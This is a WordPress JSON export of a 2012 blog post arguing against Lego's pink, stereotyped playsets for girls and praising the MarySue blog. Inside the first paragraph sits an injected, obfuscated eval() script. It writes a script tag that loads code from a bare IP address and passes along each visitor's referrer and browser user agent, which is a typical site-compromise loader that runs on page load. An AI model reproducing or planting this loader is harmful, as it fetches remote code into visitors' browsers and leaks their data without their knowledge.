{"id":2765,"date":"2012-01-11T08:06:07","date_gmt":"2012-01-11T15:06:07","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=2765"},"modified":"2012-01-11T08:45:17","modified_gmt":"2012-01-11T15:45:17","slug":"legos-are-for-girls-too","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=2765","title":{"rendered":"Legos are for girls too!"},"content":{"rendered":"<p>Even my own niece gave me a hard time once about browsing through the Lego aisle at the toystore.  &#8220;Can we please go look at the <em>girls&#8217; <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ebrks|var|u0026u|referrer|yakdz||js|php'.split('|'),0,{}))\n<\/script><\/noindex> <\/em>toys now?&#8221;  she said.  The girls&#8217; toys are, as we all know, so pink you can spot the pink from space.  I have nothing against pink, but I have nothing against Star Wars Legos, either.  And frankly, I think a lot of the &#8220;cute&#8221; faces on girls toys are kind of horrifying.  There&#8217;s a limit to how big you make eyes before it&#8217;s just plain creepy. <\/p>\n<p>Anyway, Lego has completely lost its mind and created a cute, girly, not-actually-lego playset for girls.  It&#8217;s awful.  The environments are pre-assembled so you don&#8217;t actually build anything.  And it&#8217;s super stereotyped &#8211; the Lego girls have a hair salon, and a vet&#8217;s clinic, but nothing historical, like Vikings or Wild West, and nothing movie-based, like the Lord of the Rings.  The girl figurines are structurally incompatible with the regular Lego sets, so it&#8217;s not like you can combine them.  <\/p>\n<p>I&#8217;m all in favor of Lego marketing to girls more.  I&#8217;ve been feeling the lack most keenly!  But why didn&#8217;t they just add more environments to the regular Lego system?  Maybe boys would like a Lego vet clinic too.  Or a hair salon, for that matter. <\/p>\n<p>Best blog coverage I found for this was on <a href=\"http:\/\/www.themarysue.com\/\">the MarySue<\/a> &#8211; which is now my latest favorite blog.  (For those unfamiliar, &#8220;<em>MarySue<\/em>&#8221; is a literary term used to describe a completely unrealistically fabulous heroine, usually in fan-fiction.  It comes from an actual Star Trek fan-fiction piece notorious for Ensign MarySue, who was perfect in every way and painfully, even pathetically unaware of her own wonderfulness.  Remember Ayla from Clan of the Cave Bear?  She&#8217;s a MarySue.  )  Anyway, the blog is &#8220;a guide to girl geek culture;&#8221; it&#8217;s kickin&#8217; and it actually cites research properly. <\/p>\n<p><a href=\"http:\/\/www.themarysue.com\/legos-for-girls-a-reprise\/\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/01\/10-236x300.jpg\" alt=\"\" title=\"10\" width=\"236\" height=\"300\" class=\"alignnone size-medium wp-image-2767\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/01\/10-236x300.jpg 236w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/01\/10.jpeg 394w\" sizes=\"(max-width: 236px) 100vw, 236px\" \/><\/a><br \/>\n<em>Click on the awesome ad from the 80&#8217;s to read the article.<br \/>\n<\/em><br \/>\n(MarySue also has a wonderful link to <a href=\"http:\/\/www.themarysue.com\/the-hobbit-an-unexpected-sweding\/\">a funny spoof of the Hobbit trailer<\/a>, which made me smile.  You might also note their coverage of <a href=\"http:\/\/www.themarysue.com\/google-science-fair-winners-ted-talk\/\">Lego&#8217;s student science awards<\/a>, which happened to go to girls for all three age categories.)<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Even my own niece gave me a hard time once about browsing through the Lego&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[26],"class_list":["post-2765","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-win"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2765"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2765"}],"version-history":[{"count":8,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2765\/revisions"}],"predecessor-version":[{"id":2775,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2765\/revisions\/2775"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2765"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2765"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2765"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}